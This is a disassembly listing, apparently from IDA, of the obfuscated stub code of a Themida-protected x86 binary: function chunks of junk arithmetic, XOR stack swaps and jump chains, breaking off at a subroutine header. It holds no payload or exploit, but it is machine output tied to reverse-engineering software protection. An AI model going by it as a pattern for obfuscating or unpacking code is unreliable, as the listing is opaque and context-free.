; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADDF8


loc_5A2271:				; CODE XREF: sub_5ADDF8+E08j
		add	eax, 5E9AED86h
		sub	esp, 4
		mov	[esp+14h+var_14], eax
		pop	edi
		jmp	loc_59AA39
; END OF FUNCTION CHUNK	FOR sub_5ADDF8
; ---------------------------------------------------------------------------


loc_5A2285:				; CODE XREF: Themida_:005A78B3j
		add	ebp, esi
		add	ebp, 8F26300h
		jmp	loc_59C7E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D00D


loc_5A2292:				; CODE XREF: sub_59D00D+B48Cj
		add	ecx, edx
		pop	edx
		pop	edi
		xor	ecx, [esp+0Ch+var_C]
		xor	[esp+0Ch+var_C], ecx
		xor	ecx, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		inc	[esp-4+arg_0]
		pushf
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_59D00D
; ---------------------------------------------------------------------------


loc_5A22AB:				; CODE XREF: Themida_:005AA99Dj
		add	ebp, edx
		pop	edx
		pop	edi
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_59B8EF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA9C8


loc_5A22C5:				; CODE XREF: sub_5AA9C8-1244Dj
		or	edi, 5CE8013Eh
		sub	edi, 10FA3626h
		shl	edi, 8
		shr	edi, 1
		xor	edi, 0E3CC04h
		jmp	loc_5A575C
; END OF FUNCTION CHUNK	FOR sub_5AA9C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5986D6


loc_5A22E1:				; CODE XREF: sub_5986D6+744Fj
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xor	edx, [esp+10h+var_10]
		xor	[esp+10h+var_10], edx
		xor	edx, [esp+10h+var_10]
		mov	esp, [esp+10h+var_10]
		jmp	loc_5A6608
; END OF FUNCTION CHUNK	FOR sub_5986D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ACD64


loc_5A2300:				; CODE XREF: sub_5A7343+4484j
					; sub_5ACD64+29j
		pop	esi
		add	edx, 4
		jmp	loc_5AEDD8
; END OF FUNCTION CHUNK	FOR sub_5ACD64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599721


loc_5A2309:				; CODE XREF: sub_599721+3j
		mov	[esp+4+var_4], ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5AD95F
; END OF FUNCTION CHUNK	FOR sub_599721
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A2319:				; CODE XREF: sub_59D99C+363j
		sub	eax, 0F603002h
		jmp	loc_598AEE
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A58AC


loc_5A2323:				; CODE XREF: sub_5A58AC-B936j
		push	edi
		mov	edi, 0F70E58C1h
		add	ecx, edi
		jmp	loc_5A67D8
; END OF FUNCTION CHUNK	FOR sub_5A58AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE40


loc_5A2330:				; CODE XREF: sub_59EE40+Bj
		sub	bh, cl
		mov	ecx, [esp+4+var_4]
		add	esp, 4
		jmp	loc_5AD067
; END OF FUNCTION CHUNK	FOR sub_59EE40
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D7E7


loc_5A2340:				; CODE XREF: sub_59D7E7+A72j
		pop	esp
		mov	[esp+6+var_6], ebp
		mov	ebp, esp
		jmp	sub_5A71A8
; END OF FUNCTION CHUNK	FOR sub_59D7E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A234B:				; CODE XREF: sub_5AC95F-6804j
		sub	eax, 2A113A8h
		sub	eax, 6EAF1670h
		add	ebx, eax
		jmp	loc_5A7AB3
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0F44


loc_5A235C:				; CODE XREF: sub_5A0F44+9863j
		add	ebp, ebx
		push	eax
		mov	eax, esp
		jmp	loc_5AB999
; END OF FUNCTION CHUNK	FOR sub_5A0F44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A80D3


loc_5A2366:				; CODE XREF: sub_5A80D3-1FFj
		or	edx, 4CA01189h
		xor	edx, 4FBC0696h
		add	edx, 10791D8Bh
		and	ebx, edx
		pop	edx
		and	ebx, 33D37A2Dh
		jmp	loc_59D4FB
; END OF FUNCTION CHUNK	FOR sub_5A80D3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597C68


loc_5A2386:				; CODE XREF: sub_597C68:loc_5A3B22j
		sub	ebp, 55914926h
		jg	loc_5A3ABD
		xor	ebp, 0B64E8A4Ch
		mov	ecx, ebp
		jmp	loc_59E97A
; END OF FUNCTION CHUNK	FOR sub_597C68
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F2C8


loc_5A239F:				; CODE XREF: sub_59F2C8-270Aj
		mov	ebp, 37F841A5h
		and	ebp, 71145B03h
		jmp	loc_5A1785
; END OF FUNCTION CHUNK	FOR sub_59F2C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A28BE


loc_5A23AF:				; CODE XREF: sub_5A28BE-6107j
		pop	eax
		and	ebx, 0CA105E2h
		sub	ebx, 0CA101E6h
		push	ebx
		jmp	loc_59EF4C
; END OF FUNCTION CHUNK	FOR sub_5A28BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597F0C


loc_5A23C2:				; CODE XREF: sub_597F0C+B9DDj
					; sub_5986D6+DB42j
		mov	[esp+14h+var_14], ebp
		push	edx
		push	esi
		mov	esi, 519A5C28h
		jmp	loc_5AE2B4
; END OF FUNCTION CHUNK	FOR sub_597F0C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB88E


loc_5A23D1:				; CODE XREF: sub_5AB88E-53AEj
		sub	edi, 5FBE6679h
		jmp	loc_5A1E40
; END OF FUNCTION CHUNK	FOR sub_5AB88E
; ---------------------------------------------------------------------------


loc_5A23DC:				; CODE XREF: Themida_:005A751Bj
		pop	eax
		add	ecx, 54C41F39h
		shr	ecx, 3
		push	edx
		jmp	loc_5A9DCF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B923


loc_5A23EC:				; CODE XREF: sub_59B923-180Cj
		push	edi
		mov	edi, esp
		jmp	sub_5AEE2E
; END OF FUNCTION CHUNK	FOR sub_59B923
; ---------------------------------------------------------------------------


loc_5A23F4:				; CODE XREF: Themida_:005A954Dj
		mov	[esp], ebp
		push	56793038h
		mov	ebp, [esp]
		jmp	loc_59F867
; ---------------------------------------------------------------------------


loc_5A2404:				; CODE XREF: Themida_:005A34D7j
		add	eax, ebx
		jmp	loc_5A9AF1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE24


loc_5A240B:				; CODE XREF: sub_59EE24+1j
		mov	ebp, esp
		add	ebp, 4
		push	edx
		mov	edx, 4
		sub	ebp, edx
		pop	edx
		xchg	ebp, [esp+4+var_4]
		pop	esp
		mov	[esp+0], eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+0]
		pop	esp
		jmp	loc_5A4338
; END OF FUNCTION CHUNK	FOR sub_59EE24
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B3CE


loc_5A2438:				; CODE XREF: sub_59B3CE+3192j
		mov	[esp+0], dx
		push	ax
		pushf
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_59B3CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A72FB


loc_5A2444:				; CODE XREF: sub_5A72FB+1j
		mov	ebp, 360B27CCh
		not	ebp
		not	ebp
		sub	esp, 4
		jmp	loc_59B9A8
; END OF FUNCTION CHUNK	FOR sub_5A72FB
; ---------------------------------------------------------------------------


loc_5A2458:				; CODE XREF: Themida_:0059C01Dj
		push	6ACA1B0Ch
		pop	edx
		jmp	loc_5A9D58
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A2463:				; CODE XREF: sub_59D99C-297Fj
		xor	ebx, [esp+16h+var_18+2]
		xor	[esp+16h+var_18+2], ebx
		xor	ebx, [esp+16h+var_18+2]
		mov	esp, [esp+16h+var_18+2]
		pop	edx
		xchg	ebp, edx
		jmp	loc_5A6A61
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5A2477:				; CODE XREF: sub_5A8C33-103B3j
					; Themida_:0059DDBBj
		sub	ebx, 7F700FCEh
		mov	esi, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_5A731F
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE6FD


loc_5A2488:				; CODE XREF: sub_5AE6FD-150A2j
		push	eax
		pushf
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_5AE6FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597F0C


loc_5A248F:				; CODE XREF: sub_597F0C+BCCj
		or	esi, 11870EFCh
		sub	esi, 59AFDFF8h
		jmp	loc_5A03D4
; END OF FUNCTION CHUNK	FOR sub_597F0C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7343


loc_5A24A0:				; CODE XREF: sub_5A7343+5B41j
		add	ebx, 25BD37C1h
		push	esi
		push	edi
		push	ecx
		jmp	loc_5A259C
; ---------------------------------------------------------------------------


loc_5A24AE:				; CODE XREF: sub_5A7343+1031j
		mov	esi, 24435420h
		shl	esi, 2
		shr	esi, 6
		shl	esi, 1
		shl	esi, 8
		not	esi
		sub	esi, 60E90BF6h
		add	edx, esi
		jmp	loc_59BFB0
; END OF FUNCTION CHUNK	FOR sub_5A7343
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A141E


loc_5A24CD:				; CODE XREF: sub_5A141E-9253j
		mov	cx, si
		mov	di, cx
		pop	ecx
		push	[esp+8+var_A+2]
		pop	esi
		add	esp, 4
		and	di, 6A50h
		not	di
		or	di, 28F8h
		sub	di, 1
		jmp	loc_59D94B
; END OF FUNCTION CHUNK	FOR sub_5A141E

; =============== S U B	R O U T	I N E =======================================



sub_5A24F4	proc near		; CODE XREF: sub_5ACD64-8F16j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059805C SIZE 00000038 BYTES
; FUNCTION CHUNK AT 005A7E2E SIZE 0000003A BYTES
; FUNCTION CHUNK AT 005A8BE0 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005ACFAB SIZE 0000002D BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		push	5FA9h
		mov	[esp+8+var_8], edi
		mov	edi, 4
		push	eax
		mov	eax, 5801679Ah
		inc	eax
		jmp	loc_5A8BE0
sub_5A24F4	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABA9B


loc_5A251B:				; CODE XREF: sub_5ABA9B-71FEj
		sub	ecx, edx
		push	[esp+14h+var_14]
		mov	edx, [esp+18h+var_18]
		add	esp, 4
		add	esp, 4
		push	[esp+10h+var_10]
		jmp	loc_59F67F
; END OF FUNCTION CHUNK	FOR sub_5ABA9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE45C


loc_5A2534:				; CODE XREF: sub_5AE45C+1Bj
		xor	edi, 4F7A24B5h
		xor	edi, 506D74B1h
		shr	edi, 2
		sub	edi, 85FA5A00h
		add	ebp, edi
		pop	edi
		sub	edi, 2F33E8Ah
		add	edi, 20556FC5h
		add	edi, ebp
		jmp	loc_5A3D9C
; END OF FUNCTION CHUNK	FOR sub_5AE45C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A255F:				; CODE XREF: Themida_:0059F3C9j
					; sub_59D99C+745Ej
		not	edx
		or	edx, 6302284Eh
		jmp	loc_59E344
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3B73


loc_5A256C:				; CODE XREF: sub_5A3B73-625Ej
		add	esp, 4
		pop	esi
		and	edi, ebp
		pop	ebp
		not	edi
		jmp	loc_5A2757
; END OF FUNCTION CHUNK	FOR sub_5A3B73
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A257A:				; CODE XREF: sub_59D99C+A02Cj
		mov	edi, 1ACA1567h
		push	ebx
		mov	ebx, 3D7F46EDh
		shr	ebx, 5
		xor	ebx, 425EB698h
		add	ecx, ebx
		jmp	loc_5A91E0
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE6FD


loc_5A2595:				; CODE XREF: sub_5AE6FD-450Aj
		mov	bl, 5Ah
		jmp	loc_5AB683
; END OF FUNCTION CHUNK	FOR sub_5AE6FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7343


loc_5A259C:				; CODE XREF: sub_5A7343-4E9Aj
		mov	ecx, 728A1183h
		jmp	loc_5A8B2B
; END OF FUNCTION CHUNK	FOR sub_5A7343
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A25A6:				; CODE XREF: sub_5AC95F-10EC3j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+14h+var_14]
		pop	esp
		jmp	loc_5AA41F
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598D67


loc_5A25BB:				; CODE XREF: sub_598D67+45CDj
		mov	[esp+0], eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		push	ebx
		push	eax
		mov	eax, 75E0730Eh
		jmp	loc_59F1EF
; END OF FUNCTION CHUNK	FOR sub_598D67
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A25D2:				; CODE XREF: sub_59D99C+EA31j
		sub	edi, edx
		jmp	loc_5A38F3
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D151


loc_5A25D9:				; CODE XREF: sub_59D151+D3Fj
		pop	ebx
		xor	ebp, 4A1A71D0h
		jmp	sub_59E640
; END OF FUNCTION CHUNK	FOR sub_59D151
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AEE2E


loc_5A25E5:				; CODE XREF: sub_5AEE2E-6EE2j
		jmp	loc_59C7AB
; END OF FUNCTION CHUNK	FOR sub_5AEE2E
; ---------------------------------------------------------------------------


loc_5A25EA:				; CODE XREF: Themida_:005A42E0j
		shr	ebx, 3
		xor	ebx, 0DB4A9EFh
		jmp	loc_5998BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9443


loc_5A25F8:				; CODE XREF: sub_5A9443-57A9j
		pop	ebp
		pop	[esp+8+var_8]
		mov	esp, [esp+4+var_4]
		shr	ecx, 2
		push	4BE9h
		jmp	loc_59DED9
; END OF FUNCTION CHUNK	FOR sub_5A9443
; ---------------------------------------------------------------------------


loc_5A260C:				; CODE XREF: Themida_:005A9D61j
		push	ebp
		mov	ebp, 1C775C6Eh
		neg	ebp
		and	ebp, 70D16ECAh
		jmp	loc_59E13D
; ---------------------------------------------------------------------------


loc_5A261F:				; CODE XREF: Themida_:005AB010j
		sub	edx, 6219DFA1h
		jmp	loc_59A21B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A262A:				; CODE XREF: sub_5AC95F+169j
		neg	edx
		push	ebx
		push	edi
		push	411C7743h
		pop	edi
		jmp	loc_59CF65
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598462


loc_5A2639:				; CODE XREF: sub_598462-52Bj
		add	al, 92h
		sub	al, cl
		sub	al, 92h
		push	ebx
		mov	bl, 5Dh
		dec	bl
		jmp	sub_5A1340
; END OF FUNCTION CHUNK	FOR sub_598462
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B0C4


loc_5A2649:				; CODE XREF: sub_59B0C4+3681j
		shr	ecx, 8
		jmp	loc_5AD3CA
; END OF FUNCTION CHUNK	FOR sub_59B0C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1340


loc_5A2651:				; CODE XREF: sub_5A1340-746Aj
		sub	al, 4Fh
		jmp	loc_59F4DE
; END OF FUNCTION CHUNK	FOR sub_5A1340
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A2658:				; CODE XREF: sub_5AC95F-7F07j
		neg	edi
		jo	loc_599729
		add	edi, 0E747FF21h
		add	esi, 0E41573Fh
		jmp	loc_5A0EFD
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CA4A


loc_5A2671:				; CODE XREF: sub_59CA4A-C91j
		push	2D6366CAh
		pop	edi
		sub	eax, 62A205CAh
		sub	esp, 4
		jmp	loc_5A5992
; END OF FUNCTION CHUNK	FOR sub_59CA4A
; ---------------------------------------------------------------------------


loc_5A2687:				; CODE XREF: Themida_:00599D1Ej
		mov	edx, ecx
		jmp	loc_59C060
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5A268E:				; CODE XREF: sub_5A5F8D-BA67j
					; sub_5A8C33-A368j
		add	ecx, 6A91746Fh
		jmp	loc_59A750
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------


loc_5A2699:				; CODE XREF: Themida_:0059CDFDj
		sub	ecx, 78A51456h
		add	ecx, ebp
		add	ecx, 78A51456h
		jmp	loc_59C49A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9443


loc_5A26AC:				; CODE XREF: sub_5A9443-B561j
		push	eax
		mov	eax, 4
		add	[esp+8+var_4], eax
		pop	eax
		mov	edx, [esp+4+var_4]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5A4310
; END OF FUNCTION CHUNK	FOR sub_5A9443
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AAA81


loc_5A26CB:				; CODE XREF: sub_5AAA81-FEFAj
		mov	eax, [esp+4+var_4]
		add	esp, 4
		push	eax
		jmp	loc_59F886
; END OF FUNCTION CHUNK	FOR sub_5AAA81
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598D16


loc_5A26D7:				; CODE XREF: sub_598D16+A550j
		mov	edi, [esp+14h+var_14]
		add	esp, 4
		not	esi
		push	edx
		mov	edx, 18FD2452h
		sub	esi, edx
		pop	edx
		push	277h
		mov	[esp+14h+var_14], edi
		mov	edi, 590C0434h
		jmp	loc_5A09E6
; END OF FUNCTION CHUNK	FOR sub_598D16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A02EA


loc_5A26FD:				; CODE XREF: sub_5A02EA-56AFj
		mov	ebp, 288634EEh
		push	eax
		mov	eax, 1BC1343h
		sub	[esp+0Ch], eax
		pop	eax
		add	[esp+8], ebp
		jmp	loc_5AE163
; END OF FUNCTION CHUNK	FOR sub_5A02EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5A2716:				; CODE XREF: sub_5A8D43-6C3Cj
		shr	edi, 3
		xor	edi, 8A244D3h
		mov	esi, edi
		jmp	loc_59BFFA
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D00D


loc_5A2726:				; CODE XREF: sub_59D00D+E76Dj
		mov	edi, ecx
		jmp	loc_59FDF0
; END OF FUNCTION CHUNK	FOR sub_59D00D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0542


loc_5A272D:				; CODE XREF: sub_5A0542-686Bj
		shl	eax, 8
		jmp	loc_5A15AB
; END OF FUNCTION CHUNK	FOR sub_5A0542

; =============== S U B	R O U T	I N E =======================================



sub_5A2735	proc near		; CODE XREF: sub_5986D6+3E44j
					; DATA XREF: Themida_:00597964o

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059ADE0 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A56A4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A5848 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A65DA SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A8DFF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005ABA26 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005AC8A8 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005ACAF4 SIZE 00000009 BYTES

		mov	cx, [esp+0]
		push	684Ah
		jmp	loc_5A5848
sub_5A2735	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3F42


loc_5A2743:				; CODE XREF: sub_5A3F42-C03Bj
		push	eax
		mov	eax, 19CF2F58h
		add	ebx, eax
		pop	eax
		add	ebx, 2269843Ch
		jmp	loc_59F744
; END OF FUNCTION CHUNK	FOR sub_5A3F42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3B73


loc_5A2757:				; CODE XREF: sub_5A3B73-15FEj
		not	edi
		inc	edi
		push	esi
		push	66C50602h
		pop	esi
		neg	esi
		xor	esi, 36951CE4h
		jmp	loc_597F3C
; END OF FUNCTION CHUNK	FOR sub_5A3B73
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A72FB


loc_5A276E:				; CODE XREF: sub_5A72FB+200j
		mov	[esp+0], ax
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_5A72FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FFBE


loc_5A2777:				; CODE XREF: sub_59FFBE-6EA4j
					; Themida_:005A7B79j
		sub	[esp-8+arg_4], esi
		jmp	loc_59F337
; END OF FUNCTION CHUNK	FOR sub_59FFBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A00F8


loc_5A277F:				; CODE XREF: sub_5A00F8+94CDj
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		push	edx
		push	eax
		push	3356688Dh
		jmp	loc_59E1A1
; END OF FUNCTION CHUNK	FOR sub_5A00F8
; ---------------------------------------------------------------------------


loc_5A2794:				; CODE XREF: Themida_:005A52A6j
		xor	ebx, 0F207A944h
		push	ebx
		add	dword ptr [esp], 62C74A2Eh
		pop	edi
		jmp	loc_59A2EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABF4A


loc_5A27A8:				; CODE XREF: sub_5ABF4A-13B85j
		sub	ebx, 1EC215E2h
		not	ebx
		xor	ebx, 0F07B0DCh
		sub	ecx, 1EF04B6Ch
		add	ecx, 3E2C3FE2h
		add	ecx, ebx
		jmp	loc_5A287C
; END OF FUNCTION CHUNK	FOR sub_5ABF4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D24A


loc_5A27C9:				; CODE XREF: sub_59D24A+25A5j
		add	al, 6Ch
		jmp	loc_59BEC9
; END OF FUNCTION CHUNK	FOR sub_59D24A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5A27D0:				; CODE XREF: sub_5A8C33-E11Cj
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5A3607
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A932


loc_5A27E3:				; CODE XREF: sub_59A932-47Fj
		add	edx, 0DE7303A6h
		jmp	loc_5AB339
; END OF FUNCTION CHUNK	FOR sub_59A932
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A600F


loc_5A27EE:				; CODE XREF: sub_5A600F-D807j
		add	dh, 0D6h
		not	dh
		inc	dh
		jmp	loc_5A598A
; END OF FUNCTION CHUNK	FOR sub_5A600F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE57


loc_5A27FA:				; CODE XREF: sub_59EE57+9B4j
		pop	edi
		xchg	edx, [esp+4+var_4]
		pop	esp
		mov	[esp+0], ebx
		mov	bh, 1Fh
		not	bh
		dec	bh
		jmp	loc_59C0BB
; END OF FUNCTION CHUNK	FOR sub_59EE57
; ---------------------------------------------------------------------------


loc_5A280D:				; CODE XREF: Themida_:005A74BCj
		jmp	loc_5ACB12
; ---------------------------------------------------------------------------


loc_5A2812:				; CODE XREF: Themida_:005A83A4j
		add	esp, 4
		sub	eax, edx
		mov	edx, [esp]
		add	esp, 4
		sub	eax, 134C1103h
		sub	eax, 53F46C8Bh
		jmp	loc_59F799
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A36E3


loc_5A282C:				; CODE XREF: sub_5A36E3-278Aj
		mov	ebx, esp
		jmp	loc_59D198
; END OF FUNCTION CHUNK	FOR sub_5A36E3
; ---------------------------------------------------------------------------


loc_5A2833:				; CODE XREF: Themida_:0059A826j
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_597B5F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A2846:				; CODE XREF: sub_59D99C+386Dj
		push	esi
		jmp	loc_5A8A0B
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB88E


loc_5A284C:				; CODE XREF: sub_5AB88E-9FADj
		add	edx, edi
		jmp	loc_5A9D92
; END OF FUNCTION CHUNK	FOR sub_5AB88E
; ---------------------------------------------------------------------------


loc_5A2853:				; CODE XREF: Themida_:005A6F8Ej
		pop	edx
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5A9647
; ---------------------------------------------------------------------------


loc_5A285D:				; CODE XREF: Themida_:0059FA35j
		push	eax
		jmp	loc_5AF11C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_5A2863:				; CODE XREF: sub_599059+A21Cj
		shl	esi, 7
		not	esi
		sub	esi, 0E04DD8DBh
		sub	eax, esi
		pop	esi
		sub	esi, 12024F9Dh
		jmp	loc_5AC4ED
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABF4A


loc_5A287C:				; CODE XREF: sub_5ABF4A-9786j
		sub	ecx, 3E2C3FE2h
		add	ecx, 1EF04B6Ch
		jmp	loc_598BA3
; END OF FUNCTION CHUNK	FOR sub_5ABF4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADDF8


loc_5A288D:				; CODE XREF: sub_5ADDF8-F6CFj
		add	ebx, edi
		pop	edi
		jmp	loc_5AC010
; END OF FUNCTION CHUNK	FOR sub_5ADDF8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5A2895:				; CODE XREF: sub_5A8C33-5C75j
		xor	edi, 50903042h
		push	eax
		mov	eax, 1D2F066Ch
		xor	edi, eax
		jmp	loc_5A86BB
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A28A8:				; CODE XREF: sub_59D99C-1466j
					; Themida_:loc_59D218j
		push	ecx
		push	edi
		mov	edi, 584E5A8Eh
		push	eax
		sub	esp, 4
		mov	[esp+14h+var_14], ebp
		jmp	loc_59A0E9
; END OF FUNCTION CHUNK	FOR sub_59D99C

; =============== S U B	R O U T	I N E =======================================



sub_5A28BE	proc near		; CODE XREF: sub_59B707+789Dj

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00597CE7 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005992CA SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00599DD8 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059B7FB SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059BA7F SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0059BD94 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059C285 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0059C7AB SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059E4B8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0059ED4A SIZE 0000001A BYTES
